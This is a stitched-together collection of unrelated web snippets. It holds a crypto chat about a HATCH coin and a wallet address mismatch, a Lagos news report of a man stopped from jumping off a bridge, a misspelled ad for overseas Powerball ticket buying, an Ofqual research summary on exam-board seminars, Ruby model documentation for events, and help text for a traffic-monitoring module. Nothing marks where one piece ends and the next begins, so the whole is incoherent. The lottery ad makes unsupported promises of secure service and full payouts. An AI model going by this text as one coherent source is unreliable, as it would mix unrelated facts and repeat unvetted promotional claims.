@Oszy Thank you. Yes, HATCH fork DASH, like any other coin using the X11 algorithm, but we have a lot of changes, including the use of our signature. Unlike other X11 projects that use the DASH signature, and their cost is 100 times higher than HATCH. We are looking for integration opportunities without listing fees. We corresponded with the guys from AtomicDEX but to no avail. It all ended at the cost of integration. Therefore, we decided to contact you directly.
peepypoopy30-Sep-19 05:37 AM
@Oszy I enter my agama address into the explorer and the tokens are there. I enter my seed, I diligently write down all my seeds for wallets, and the address showing is different I would never have created a wallet without writing down the seed so I do not understand what is going on
This all happened after komodo warned us they had hacked their own wallet and we were told to download a new version or something


Man attempting to commit suicide rescued by Police in Lagos
by Sanya AgunbiadeThe Police in Lagos have rescued a man who attempted to commit suicide on the 3rd Mainland Bridge.
The unidentified man was rescued by officers of the Rapid Response Squad.
According to a post on RRS’s twitter handle, the young man had climbed the bridge and was about to jump into the Lagoon when he was stopped.
RRS officers on 3MB just prevented this man from jumping into the Lagoon. He was interviewed and sounded incoherent. He has been taken to Adekunle Police Station for his family to be contacted. #TheGoodGuys
Follow us on Facebook – @Lailasnews; Twitter – @LailaIjeoma for updates


LotteryWorld lets you buy US Power ball tickets anywhere outsite the USA, any time, giving you incredible chances to win bigest lottery prize ever over the world. We provide excellent and highly sercure services for anyone from anywhere to buy lottery tickets from USA that never exists before.
You will be notified immidiately when you win a prize. Playing the lottery online is easy. But we make it even easier – and more fun – by letting you set your Jackpot Alerts. Our customizable alert system that tells you when lotteries you like meet your payout goals. Simply configure it, receive your notification and play when you want.
LotteryWorld help you to buy lottery tickets while you’re not able to come to the US to buy with minimal service fee. Once you win the jackpot, you will get 100% of your win.
We're the biggest US Lottery Selling Agent
Latest technology. 256 bit encrypted
Place you order and we bring prize to you
| FAQs |
| Legal |
| Privacy Policy |
| Teams & Conditions |


Research and analysis
A report on Ofqual's research into seminars for teachers on the new GCSEs, AS and A levels.
Ref: Ofqual/17/6175 PDF , 125KB , 23 pages
If you use assistive technology (such as a screen reader) and need a version of this document in a more accessible format, please email<EMAIL_ADDRESS>. Please tell us what format you need. It will help us if you say what assistive technology you use.
In February 2015 we published the report Understanding awarding organisations’ commercial behaviour before and after the GCSE and A level reforms .
This highlighted that exam boards’ marketing strategies and materials could mislead people taking and using new qualifications, if, for example, they implied qualifications are of a different standard to that required. The report identified a number of risks in this area but concluded:
while all the above mentioned risks are possible, we did not uncover evidence pointing to any of these risks materialising or about to materialise. We also consider that it is in Ofqual’s power to pre-empt these risks or at least limit their effect by appropriate regulatory intervention.
Another potential risk was confidential information about assessments could be given out at events, undermining standards and public confidence in qualifications. We introduced new and revised regulations to guard against that possibility in September 2013.
Since 2015 we have asked subject experts to attend a sample of exam boards’ marketing and support events for their new and reformed subjects at GCSE, AS and A level.
In the views of the subject experts, the events fulfilled their intentions. The subject experts did not feel they were being overtly sold the qualifications and course leaders did not inappropriately compare the specifications or sample assessment materials of different exam boards. The information gathered in this exercise did not so far suggest any breach of our conditions by the exam boards.
Our subject experts did not generally raise any concerns about the quality of information provided.
There were potential concerns that there could be an advantage for teachers who attended the training sessions. This was most evident in subjects where the specification had not been accredited. The risk may have been mitigated by the publication of sample assessment materials. These had not always been available at the time of the events.
Our subject experts did not report that qualifications were portrayed as ‘easier’ or ‘harder’ than those offered by other exam boards. There were few references to other exam boards.
Published: 9 March 2017
Updated: 16 March 2017
From: Ofqual


Schema Information
Table name: events
id :integer not null, primary key target_type :string(255) target_id :integer title :string(255) data :text project_id :integer created_at :datetime not null updated_at :datetime not null action :integer author_id :integer
- A
- C
- D
- I
- J
- L
- M
- N
- P
- R
- T
| Created | = | 1 |
| Updated | = | 2 |
| Closed | = | 3 |
| Reopened | = | 4 |
| Pushed | = | 5 |
| Commented | = | 6 |
| Merged | = | 7 |
| Joined | = | 8 |
| Left | = | 9 |
Source: show
# File app/models/event.rb, line 53 def determine_action(record) if [Issue, MergeRequest].include? record.class Event::Created elsif record.kind_of? Note Event::Commented end end
Source: show
# File app/models/event.rb, line 160 def action_name if closed? "closed" elsif merged? "merged" elsif joined? 'joined' elsif left? 'left' else "opened" end end
Source: show
# File app/models/event.rb, line 131 def changed_issue? target_type == "Issue" && [Closed, Reopened].include?(action) end
Source: show
# File app/models/event.rb, line 126 def changed_merge_request? target_type == "MergeRequest" && [Closed, Reopened].include?(action) end
Source: show
# File app/models/event.rb, line 92 def closed? action == self.class::Closed end
Source: show
# File app/models/event.rb, line 148 def issue target if target_type == "Issue" end
Source: show
# File app/models/event.rb, line 108 def issue? target_type == "Issue" end
Source: show
# File app/models/event.rb, line 144 def membership_changed? joined? || left? end
Source: show
# File app/models/event.rb, line 152 def merge_request target if target_type == "MergeRequest" end
Source: show
# File app/models/event.rb, line 112 def merge_request? target_type == "MergeRequest" end
Source: show
# File app/models/event.rb, line 88 def merged? action == self.class::Merged end
Source: show
# File app/models/event.rb, line 100 def milestone? target_type == "Milestone" end
Source: show
# File app/models/event.rb, line 116 def new_issue? target_type == "Issue" && action == Created end
Source: show
# File app/models/event.rb, line 121 def new_merge_request? target_type == "MergeRequest" && action == Created end
Source: show
# File app/models/event.rb, line 72 def project_name if project project.name else "(deleted project)" end end
Source: show
# File app/models/event.rb, line 62 def proper? if push? true elsif membership_changed? true else (issue? || merge_request? || note? || milestone?) && target end end
Source: show
# File app/models/event.rb, line 84 def push? action == self.class::Pushed && valid_push? end


Before it can be used, the module must setup several firewall rules and a syslog entry to capture traffic sent and received via your system. At setup time you must select the system's external network interface, on which traffic will be monitored. This will typically be the PPP interface used for your dialup or ADSL connection, or the Ethernet interface connected to your cable modem or upstream router.
Once at least an hour's worth of traffic has been captured, the module can by used to generate reports summarizing the traffic by one of the following categories :
The report can also be limited to traffic collected between selected hours, using the For traffic after and For traffic before fields. Because traffic is summarized by hour, you cannot limit the report with any greater precision than hourly.
The option Server ports only? is useful when reporting by incoming, outgoing or all ports. It restricts the display to ports commonly used by servers (those below 1024 or with names), to avoid cluttering the display with counts for client-side ports that are not commonly useful.
The option Resolve hostnames? can be selected when reporting by host. It will cause all IP addresses to be reverse-resolved to hostnames, where possible.